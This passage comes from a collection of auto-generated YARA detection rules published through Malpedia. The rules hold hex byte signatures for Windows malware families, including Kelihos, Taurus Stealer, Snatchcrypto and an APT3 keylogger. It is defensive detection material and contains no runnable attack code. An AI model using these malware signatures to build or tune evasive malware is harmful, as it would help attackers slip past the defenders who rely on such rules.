		$sequence_14 = { 837c246000 0f8562010000 c744245400000000 c744247400100000 }
		$sequence_15 = { 48837c245000 0f8417040000 4c8d0da2b30000 41b804000000 488d15ed7e0000 488b4c2450 }
	condition:
		7 of them and filesize < 1032192
}

rule MALPEDIA_Win_Octowave_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "35c13348-0eb4-5d13-a207-5c2013e4210f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.octowave"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.octowave_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "1fa979b8176587b51d4501d3bbb1e6a1953eac27bc34cded0325574b49761409"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { fecb 889c24c0000000 8b9c244c010000 85db 7529 8d9c242c010000 8d7b01 }
		$sequence_1 = { ff86201b0000 8b86201b0000 c684302013000000 83ef01 75d3 8b5c2414 85d2 }
		$sequence_2 = { ff742450 56 e8???????? 83c408 85c0 0f850a040000 83cb10 }
		$sequence_3 = { 8d4f02 51 56 e8???????? 83c408 5f 8bc6 }
		$sequence_4 = { ff742418 2bf5 ff742424 8b04b568022110 ffd0 8b7c241c 83c40c }
		$sequence_5 = { ff7500 50 e8???????? 83c408 837db800 750a f30f1015???????? }
		$sequence_6 = { f30f5cc8 f30f1041e8 f30f594714 f30f5cc8 f30f1041e4 f30f594718 f30f5cc8 }
		$sequence_7 = { f76b14 03f8 8b4560 13ca f76b18 03f8 8b455c }
		$sequence_8 = { ff5004 48 8bcf 50 ff560c 8b17 8bcf }
		$sequence_9 = { ff74241c 8b4608 8b4e04 48 f20f1044242c 23c2 6a00 }
	condition:
		7 of them and filesize < 7258112
}

rule MALPEDIA_Win_Kelihos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5ce7cec0-9b63-57ad-afe3-2ac567126cba"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kelihos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kelihos_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "c2eacbb99d14be28a148d8ab81d8255fe39a06721e8fc3e2b106469f00f3e62c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e9???????? 6a01 6a08 e8???????? 6a03 53 53 }
		$sequence_1 = { e8???????? 8bf3 8d5c1b02 3b5d0c 7cb6 7526 8b450c }
		$sequence_2 = { 8d8c24ac000000 8844241b e8???????? 85c0 743a 385c2417 7534 }
		$sequence_3 = { c3 837c2404ff 750e 817c2408ffffff7f 7504 33c0 40 }
		$sequence_4 = { c60060 e8???????? 6a5c 8bce c60064 e8???????? 68c5010000 }
		$sequence_5 = { eb02 33c0 57 50 ff742418 ff742420 ff74241c }
		$sequence_6 = { c3 56 8bf1 6a00 6a01 8d4e7c c706???????? }
		$sequence_7 = { e9???????? e8???????? 8b00 50 e8???????? 83c404 50 }
		$sequence_8 = { c6400d00 8908 eb06 8b4508 832000 e8???????? c20c00 }
		$sequence_9 = { c1e108 034df0 8d4514 e8???????? 834dfcff 8d4514 50 }
	condition:
		7 of them and filesize < 4702208
}

rule MALPEDIA_Win_Bluehaze_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1fd1249e-5be9-518c-b471-fb529bb8c9ae"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluehaze"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bluehaze_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "09fb1421d27d0a64efc13cfb683dac14a3c5bd0c2192d0b84f6a45513276dafa"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85ff 7405 8b4dec 890f 83c704 897dd8 3b5604 }
		$sequence_1 = { 894704 8b4804 8901 837dcc10 c745fcffffffff 720c }
		$sequence_2 = { 51 c745fc00000000 e8???????? 83c408 837de810 720c 8b55d4 }
		$sequence_3 = { c706???????? 8bc6 5e 8be5 5d c3 8d45fc }
		$sequence_4 = { 33d2 eb02 8b10 8b4518 85c0 740c }
		$sequence_5 = { 03ce 51 8b4b6c 57 51 ff15???????? }
		$sequence_6 = { c706???????? e8???????? 6a30 c745fc00000000 c7462000000000 e8???????? 83c404 }
		$sequence_7 = { 53 8d9564feffff 52 8d8dd4feffff e8???????? 8b7010 838d20feffff01 }
		$sequence_8 = { c747140f000000 895f10 881f 833e10 7315 8b56fc }
		$sequence_9 = { e8???????? 83c404 c785ccfeffff0f000000 899dc8feffff 889db8feffff c645fc03 39b578feffff }
	condition:
		7 of them and filesize < 424960
}

rule MALPEDIA_Win_Strikesuit_Gift_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "07a5f9ca-40c1-5bef-81cd-9b2edfb79941"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.strikesuit_gift"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.strikesuit_gift_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "38158a27b97c948ddd0e7a00ce8b9fd84a0eeadae064b8c5755cc04130a6bdf7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 06 2000100000 1f40 2801000006 }
		$sequence_1 = { 7245000070 7e1b00000a 6f2500000a 1305 1105 7249000070 }
		$sequence_2 = { 2d3f 08 8e 69 05 59 }
		$sequence_3 = { 2801000006 0b 16 0c 2b0e 07 08 }
		$sequence_4 = { 7503000002 0d 09 7e1e00000a 6f0c000006 }
		$sequence_5 = { a2 1105 17 58 1305 1105 08 }
		$sequence_6 = { 07 d003000002 282000000a 282100000a }
		$sequence_7 = { 1107 7e01000004 1b 6f1800000a }
		$sequence_8 = { 731500000a 0b 16 0c }
		$sequence_9 = { 03 282c00000a 0a 16 0b 2b19 02 }
	condition:
		7 of them and filesize < 50176
}

rule MALPEDIA_Win_Bh_A006_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f37d05fc-fa47-5fd7-bb26-823ae04185f6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bh_a006"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bh_a006_auto.yar#L1-L100"
		license_url = "N/A"
		logic_hash = "e3efc1dc1d935b6057dbf735dfbafda7bd291fd107bd55d1d22343cc85bf6fea"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bca 2b08 03cb 8930 }
		$sequence_1 = { 6683bdecdfffff00 8dbdecdfffff 7436 57 }
		$sequence_2 = { 88041a 42 884517 8955f4 e9???????? 2bf0 }
		$sequence_3 = { 85ff 7472 8d45fc 50 }
		$sequence_4 = { 8b95e4deffff 59 83e201 c1e202 6a04 59 }
		$sequence_5 = { 8985d4ddffff 8985d8ddffff 8985dcddffff 8945fc }
		$sequence_6 = { 898de4deffff 3bcb 7cbb 8bb5d8deffff 33db 8b85d0deffff 56 }
		$sequence_7 = { 50 68???????? 8d85b8f5ffff 50 e8???????? 85c0 7922 }
	condition:
		7 of them and filesize < 430080
}

rule MALPEDIA_Win_Danbot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "20935e71-f906-54b9-9bae-c4a4caef1aba"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.danbot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.danbot_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "acd94691ea40c5baca6316ac758413a2314f96bf1ccb4eb7ca1bd69319a91f06"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4c8965f0 4c896df8 448865e0 488d5580 488d4d00 e8???????? }
		$sequence_1 = { 4585c0 0f840e020000 89bb88000000 4183f803 0f82b6000000 8b8394000000 85c0 }
		$sequence_2 = { 55 56 57 4881ec90000000 48c7442420feffffff 49895b18 488b05???????? }
		$sequence_3 = { 483bd7 720e 48ffc2 4d8bc6 498b0f e8???????? }
		$sequence_4 = { 488bda 33c0 488b5110 4983c8ff 89442420 48894310 48c743180f000000 }
		$sequence_5 = { ffd3 99 33c2 2bc2 89442430 448be0 4c89642450 }
		$sequence_6 = { eb03 488bd9 8b4018 25c0010000 410f100424 beffff0000 83f840 }
		$sequence_7 = { 488bce ffd3 90 488b742478 488b06 488b5838 488bcb }
		$sequence_8 = { 48897310 4c897318 408833 0f1007 0f1103 0f104f10 0f114b10 }
		$sequence_9 = { 498bcd e8???????? 4533d2 84c0 741d 418adc 488bcf }
	condition:
		7 of them and filesize < 1492992
}

rule MALPEDIA_Win_Keylogger_Apt3_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "96f37009-369b-5f17-a68b-4eb5c0d4026d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.keylogger_apt3"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.keylogger_apt3_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "023590d599979615d817aedf4414560e8504e62badef12c9dd3c7d358dc03318"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 ffd7 8b4e08 6a08 51 ffd7 }
		$sequence_1 = { 8b9c2430040000 55 8bac2430040000 56 57 8bbc2434040000 6800010000 }
		$sequence_2 = { 52 ffd7 8b0d???????? 8d442424 50 51 }
		$sequence_3 = { 8d45f0 50 e8???????? cc e8???????? 8b4004 c3 }
		$sequence_4 = { e8???????? 55 e8???????? 68???????? e8???????? 8b8c2440020000 83c40c }
		$sequence_5 = { 52 ffd7 a1???????? 896844 8b9eac010000 85db 742e }
		$sequence_6 = { 52 e8???????? 8d862c020000 50 8d4c242c 68???????? 51 }
		$sequence_7 = { 8d7c00ff 3bc7 89442418 0f8dc6000000 8b542414 8bd8 69db14010000 }
		$sequence_8 = { 68???????? 52 ffd7 8b0d???????? 8d442438 50 }
		$sequence_9 = { e8???????? 83c404 8b442414 6a00 6a00 6a10 8d54244c }
	condition:
		7 of them and filesize < 761856
}

rule MALPEDIA_Win_Bohmini_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7ffa4356-333d-5cd0-8977-11f17aa9ceda"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bohmini"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bohmini_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "4b7b42d940efc962d3653e13f1a5647032ad0ceec459f0054e3c714b4efdf65b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffd5 85c0 7503 ff430c 8b36 85f6 }
		$sequence_1 = { 8d442408 c744240824020000 50 56 e8???????? 85c0 741f }
		$sequence_2 = { 57 51 6a00 6a00 ff15???????? 85c0 }
		$sequence_3 = { 50 8d542424 51 52 8d442424 6aff 50 }
		$sequence_4 = { 33d0 8855fc 8d742600 8b4df0 034df8 8a55fc 8811 }
		$sequence_5 = { c74424080c000000 c744241000000000 8944240c ff15???????? 8b542404 }
		$sequence_6 = { 85c0 7529 8d442400 56 50 e8???????? 8bf0 }
		$sequence_7 = { ffd6 8b3d???????? 50 ffd7 55 6a00 }
		$sequence_8 = { 837e0c0a 7e47 8b4e08 51 e8???????? 83c404 }
		$sequence_9 = { 8d442418 50 56 e8???????? eb0b }
	condition:
		7 of them and filesize < 139264
}

rule MALPEDIA_Win_Taurus_Stealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b1a1c877-dafe-5bd8-aa9e-f033e2a7d793"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.taurus_stealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.taurus_stealer_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "45f5adaf95071a60a27cbbf5888b0c101a82ad499a857b2070bb83a96bceb96f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f9445d1 e8???????? 668945d2 8d4d94 8b45c4 8db778020000 3b45c8 }
		$sequence_1 = { 8d45d0 50 8d45f4 50 e8???????? 50 8d45b8 }
		$sequence_2 = { 8bce e8???????? 8bd0 c745f829674844 b129 c745fc4c130900 33c0 }
		$sequence_3 = { 50 8d85c0feffff 50 8d4dcb e8???????? 8b85c4feffff 8d8d40ffffff }
		$sequence_4 = { 33c0 304c05ed 40 83f806 7305 8a4dec }
		$sequence_5 = { e8???????? 8bd0 c744242f74271706 6a07 58 88442436 b174 }
		$sequence_6 = { f7c300200000 7414 81e3ffdfffff 8d8d04ffffff 895df8 e8???????? }
		$sequence_7 = { 57 ffd0 8bf8 897d0c 83ffff 746f 8b9530ffffff }
		$sequence_8 = { c1fa06 8bc7 83e03f 6bc838 8b049578c14300 f644082801 7421 }
		$sequence_9 = { c74654c3280308 c7465881120d0e c7465ce58b8009 c74660d5208b07 c74664359ac202 c74668f19ad809 c7466ca13ba208 }
	condition:
		7 of them and filesize < 524288
}

rule MALPEDIA_Win_Snatchcrypto_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "606aa04d-2534-5b9c-a7ea-236168d717b6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snatchcrypto"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.snatchcrypto_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "821ad44e204c834b4eeced1dd22888563234f9fd380bbb4b883fee2940f1717e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 4889ae60030000 488b9330060000 488d0d6e0a0300 e8???????? 4889442460 }
		$sequence_1 = { e8???????? 488d4d81 33d2 41b803010000 c6458000 e8???????? 488d8db1020000 }
		$sequence_2 = { c1c80b 410bca 458bc2 4433c8 4123ce 418bc4 c1c806 }
		$sequence_3 = { 740d 4c39b380010000 0f858b000000 bfc4feffff 488b4310 4c8b7c2470 4c8b6c2478 }
		$sequence_4 = { 7499 488d1597280600 488bcf e8???????? 85c0 7486 488d158c280600 }
		$sequence_5 = { 0fb605???????? 4188440f02 48635320 4c634324 48039590020000 4183c703 418bcf }
		$sequence_6 = { 4889742418 57 4881ece0010000 488b05???????? 4833c4 48898424d0010000 488b7908 }
		$sequence_7 = { 8bd8 85c0 0f85d3000000 4885f6 7416 488bce e8???????? }
		$sequence_8 = { 0fb78b94030000 0fb7937e020000 410fb7c0 450fb7c8 c1e904 83e101 66c1e80a }
		$sequence_9 = { 410fb6cb e8???????? 85c0 7547 448d4005 0fb6d3 410fb6cb }
	condition:
		7 of them and filesize < 1400832
}

rule MALPEDIA_Win_Splitloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1a1cb38c-8464-5fc4-a742-33ff9af7dc5d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.splitloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.splitloader_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "16d8d2ed74e30686bcfb5a681aebf6245d42317682bf1d1bc1fbb6f6c4392dc3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c6817401000043 c681f701000043 488d0524910000 488981b8000000 b90d000000 e8???????? }
		$sequence_1 = { 8bca 418984240cab0000 48014d10 85c0 790a b8fdffffff }
		$sequence_2 = { 8b430c 8905???????? 8bd7 4c8d05f073ffff 89542420 83fa05 }
		$sequence_3 = { 488bcf 4889742420 ff15???????? 4533c9 }
		$sequence_4 = { 488be9 41be08000000 4d85e4 750e 418d46f6 4883c460 415e }
		$sequence_5 = { 48897c2418 4154 4883ec20 4c8d25fc970000 33f6 }
		$sequence_6 = { 750e 0f1f4000 4883c702 6644391f 74f6 }
		$sequence_7 = { 8905???????? 8b430c 8905???????? 8bd7 4c8d05f073ffff 89542420 }
		$sequence_8 = { eb9a 488d15df660000 488d0dc0660000 e8???????? 488d15dc660000 }
		$sequence_9 = { 6644391f 750e 0f1f4000 4883c702 }
	condition:
		7 of them and filesize < 174080
}

rule MALPEDIA_Win_Rcs_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "88c200d0-341d-5e6f-ae92-f6d74505595f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rcs"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rcs_auto.yar#L1-L178"
		license_url = "N/A"
		logic_hash = "3382bc9aa5e79b7f4a031deda04f3ba8bd2d1a1f1a24d3ec268d1e68154c00c2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 83c430 6aff 68???????? }
		$sequence_1 = { 89442456 8944245a 8944245e 89442462 89442466 8944246a }
		$sequence_2 = { ff15???????? 5f 5e 5d 5b 33c0 }
		$sequence_3 = { 85ff 0f84d4000000 57 e8???????? }
		$sequence_4 = { 40 68???????? 50 e8???????? 83c40c eb0d }
		$sequence_5 = { 6a00 6880000000 6a01 6a00 6a05 }
		$sequence_6 = { 83fd03 7c89 8b7c243c 33ed }
		$sequence_7 = { 6a20 6a01 6a0a 6a11 ff5660 8bbedc000000 }
		$sequence_8 = { 8bbedc000000 8bbf14120000 89da 81e2ffff0000 c1e204 }
		$sequence_9 = { 89473c 8b7d08 8b37 81c6a1010000 }
		$sequence_10 = { e8???????? 83c41c 8d4d80 83c8ff }
		$sequence_11 = { c9 c3 55 89e5 81ec04020000 }
		$sequence_12 = { 81f2be387d15 e9???????? 8be5 c1cead }
		$sequence_13 = { 83fd02 7c2d 8b07 8d54300c 3b11 7350 03c6 }
		$sequence_14 = { 898528f4fbff 8b86dc000000 833800 0f94c0 83e001 }
		$sequence_15 = { 81f2d141ed35 f8 f5 d1ca }
		$sequence_16 = { 817deca4000000 72c2 56 e8???????? }
		$sequence_17 = { ffb56cf4fbff ffb584f4fbff ffb5a0f9fbff 8b86dc000000 8b5020 03905c020000 52 }
	condition:
		7 of them and filesize < 11501568
}

rule MALPEDIA_Win_Tinyfluff_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "261677c7-52da-544b-abba-e2c9762083b2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyfluff"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tinyfluff_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "305926cc2d71188dd193eb77d1fd5b2696d785cc7114678a3a44727f806b5473"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 51 50 51 ffb5dcfbffff 8d8d74fbffff e8???????? 8d8590fbffff }
		$sequence_1 = { 85c0 7418 8b858cfbffff 85c0 7407 50 }
		$sequence_2 = { 8b0c8550704100 8a043b 03ce 8b75dc }
		$sequence_3 = { eb6f 8b07 8d1c85446d4100 8b33 85f6 }
		$sequence_4 = { e8???????? be01000000 8b95d8fbffff 83fa08 7235 }
		$sequence_5 = { c7404860604100 8b4508 6689486c 8b4508 66898872010000 8d4dff 8b4508 }
		$sequence_6 = { c7404860604100 8b4508 6689486c 8b4508 66898872010000 }
		$sequence_7 = { 33c0 c744246000000000 c744246407000000 6689442450 }
		$sequence_8 = { 8d85a8fbffff 6a01 0f4385a8fbffff 68???????? }
		$sequence_9 = { c1fa06 8934b8 8bc7 83e03f 6bc838 8b049550704100 8b440818 }
	condition:
		7 of them and filesize < 245760
}

rule MALPEDIA_Win_Unidentified_087_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6032a71d-315e-5161-8b29-e52778de6b9c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_087"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_087_auto.yar#L1-L166"
		license_url = "N/A"
		logic_hash = "6f89e449c7df0d973fa61becfc3b5884b82be1e57577d3cbd257d75e0b80e7b8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 498bdd 666666666666660f1f840000000000 0fb6941c98000000 498bcf e8???????? }
		$sequence_1 = { 41b900000008 4533c0 488d5560 33c9 ff15???????? 488bf8 4885c0 }
		$sequence_2 = { c7457001000000 c7457c02000000 488d4580 4889442428 488d85a8000000 }
		$sequence_3 = { 4885c9 7407 ff15???????? 90 4885db }
		$sequence_4 = { 488d0c38 4d8bc7 4903cc 4803d5 e8???????? }
		$sequence_5 = { 4883794800 7503 83ca04 4533c0 e8???????? 488b442450 }
		$sequence_6 = { 4883fb01 0f8288000000 488d2d0e9a0200 48833d????????10 480f432d???????? }
		$sequence_7 = { 488d5c3bff 498d7b01 4c8bc3 8bd5 }
		$sequence_8 = { 50 56 68???????? 57 ff15???????? 3b442410 7414 }
		$sequence_9 = { c78550fbffff94000000 8d8d50fbffff 51 ff15???????? }
		$sequence_10 = { 3c58 770f 0fbec2 0fbe80c8b10110 }
		$sequence_11 = { 7429 8b5508 39542410 7412 8d442408 50 }
		$sequence_12 = { 52 ff15???????? 32c0 e9???????? 8d8550ffffff }
		$sequence_13 = { 57 52 53 50 ff15???????? 8b8c242c040000 }
		$sequence_14 = { e8???????? 8bdc 57 68???????? 8d4e01 e8???????? }
		$sequence_15 = { 0f840c010000 8b0d???????? 8b7c2458 8d44240c }
	condition:
		7 of them and filesize < 462848
}

rule MALPEDIA_Win_Bandit_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "baac7fff-4fa3-5458-b9c3-9ba2ff3fe15a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bandit"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bandit_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "57d98c9e72ec66c58eb155bb6176131c752f20871acb7c0dc2253a7bf7e472fd"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb24 31c0 488d5c241f b931000000 0f1f00 e8???????? 488bac2498000000 }
		$sequence_1 = { eb1e 440fb64c341a 4183c1c3 4401ca 88543c1a 448844341a 4883c002 }
		$sequence_2 = { 8854245f 0fb6542424 0fb6742421 29f2 88542460 31c0 488d5c2446 }
		$sequence_3 = { eb1c 4889c7 488b8c2400110000 e8???????? 488d3d6bac7c00 e8???????? e8???????? }
		$sequence_4 = { e8???????? 90 31c9 e8???????? 4885ff 750a 48895c2440 }
